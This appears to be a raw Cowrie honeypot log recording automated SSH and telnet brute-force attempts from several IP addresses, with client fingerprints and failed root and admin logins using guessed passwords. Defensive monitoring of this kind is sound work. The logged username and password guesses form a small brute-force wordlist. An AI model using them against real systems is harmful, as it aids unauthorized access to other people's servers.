{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:55.164897Z","src_ip":"87.251.64.176","session":"45e8a2e07b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:32:55.265345Z","src_ip":"87.251.64.176","session":"45e8a2e07b89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":60528,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d2fbe7c3586","protocol":"ssh","message":"New connection: 147.45.199.80:60528 (10.17.0.5:22) [session: 3d2fbe7c3586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:04.186939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:04.191837Z","src_ip":"147.45.199.80","session":"3d2fbe7c3586","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:04.286971Z","src_ip":"147.45.199.80","session":"3d2fbe7c3586","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfif","message":"login attempt [root/cfif] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:04.579281Z","src_ip":"147.45.199.80","session":"3d2fbe7c3586","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:05.677342Z","src_ip":"147.45.199.80","session":"3d2fbe7c3586","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":42620,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6ca2ff49d06","protocol":"telnet","message":"New connection: 213.108.3.46:42620 (10.17.0.5:23) [session: a6ca2ff49d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:23.198311Z"}
{"eventid":"cowrie.session.closed","duration":0.015929460525512695,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:23.214039Z","src_ip":"213.108.3.46","session":"a6ca2ff49d06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":55998,"dst_ip":"159.203.135.109","dst_port":22,"session":"58a185ffeb62","protocol":"ssh","message":"New connection: 103.15.222.183:55998 (159.203.135.109:22) [session: 58a185ffeb62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:26.672903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:26.676775Z","src_ip":"103.15.222.183","session":"58a185ffeb62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:26.922008Z","src_ip":"103.15.222.183","session":"58a185ffeb62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty99","message":"login attempt [root/qwerty99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:27.661626Z","src_ip":"103.15.222.183","session":"58a185ffeb62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:28.910253Z","src_ip":"103.15.222.183","session":"58a185ffeb62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":59548,"dst_ip":"10.17.0.5","dst_port":22,"session":"e94498284805","protocol":"ssh","message":"New connection: 43.228.112.254:59548 (10.17.0.5:22) [session: e94498284805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:41.780579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:41.789281Z","src_ip":"43.228.112.254","session":"e94498284805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:41.998516Z","src_ip":"43.228.112.254","session":"e94498284805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anju","message":"login attempt [root/anju] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:42.866441Z","src_ip":"43.228.112.254","session":"e94498284805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:44.078156Z","src_ip":"43.228.112.254","session":"e94498284805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":34160,"dst_ip":"10.17.0.5","dst_port":22,"session":"5361f232fefb","protocol":"ssh","message":"New connection: 43.156.136.152:34160 (10.17.0.5:22) [session: 5361f232fefb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:47.017102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:47.021610Z","src_ip":"43.156.136.152","session":"5361f232fefb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:47.265818Z","src_ip":"43.156.136.152","session":"5361f232fefb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":48380,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fa10e5cc794","protocol":"ssh","message":"New connection: 192.169.243.246:48380 (10.17.0.5:22) [session: 0fa10e5cc794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:47.701022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:47.705491Z","src_ip":"192.169.243.246","session":"0fa10e5cc794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:47.783327Z","src_ip":"192.169.243.246","session":"0fa10e5cc794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"viral123","message":"login attempt [root/viral123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:48.120554Z","src_ip":"192.169.243.246","session":"0fa10e5cc794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"idc1q2w3e","message":"login attempt [root/idc1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:48.222235Z","src_ip":"43.156.136.152","session":"5361f232fefb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:49.200550Z","src_ip":"192.169.243.246","session":"0fa10e5cc794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:49.454867Z","src_ip":"43.156.136.152","session":"5361f232fefb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":48018,"dst_ip":"10.17.0.5","dst_port":22,"session":"30679a0a1338","protocol":"ssh","message":"New connection: 37.143.61.84:48018 (10.17.0.5:22) [session: 30679a0a1338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:53.186876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:53.296027Z","src_ip":"37.143.61.84","session":"30679a0a1338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:53.402904Z","src_ip":"37.143.61.84","session":"30679a0a1338","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"87654321","message":"login attempt [root/87654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:55.187190Z","src_ip":"37.143.61.84","session":"30679a0a1338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:33:56.283957Z","src_ip":"37.143.61.84","session":"30679a0a1338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.206","src_port":35302,"dst_ip":"159.203.135.109","dst_port":22,"session":"9df96b2db34a","protocol":"ssh","message":"New connection: 62.133.63.206:35302 (159.203.135.109:22) [session: 9df96b2db34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:11.023601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:11.028556Z","src_ip":"62.133.63.206","session":"9df96b2db34a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:11.149353Z","src_ip":"62.133.63.206","session":"9df96b2db34a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:11.504734Z","src_ip":"62.133.63.206","session":"9df96b2db34a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:12.629410Z","src_ip":"62.133.63.206","session":"9df96b2db34a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":45302,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a6558811ab1","protocol":"ssh","message":"New connection: 103.173.227.57:45302 (159.203.135.109:22) [session: 5a6558811ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:36.471379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:36.476673Z","src_ip":"103.173.227.57","session":"5a6558811ab1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":61091,"dst_ip":"159.203.135.109","dst_port":22,"session":"d28a0babed9c","protocol":"ssh","message":"New connection: 2.57.121.112:61091 (159.203.135.109:22) [session: d28a0babed9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:39.479545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:39.483712Z","src_ip":"2.57.121.112","session":"d28a0babed9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:39.583186Z","src_ip":"2.57.121.112","session":"d28a0babed9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31011972","message":"login attempt [admin/31011972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:34:40.054254Z","src_ip":"2.57.121.112","session":"d28a0babed9c","protocol":"ssh"}
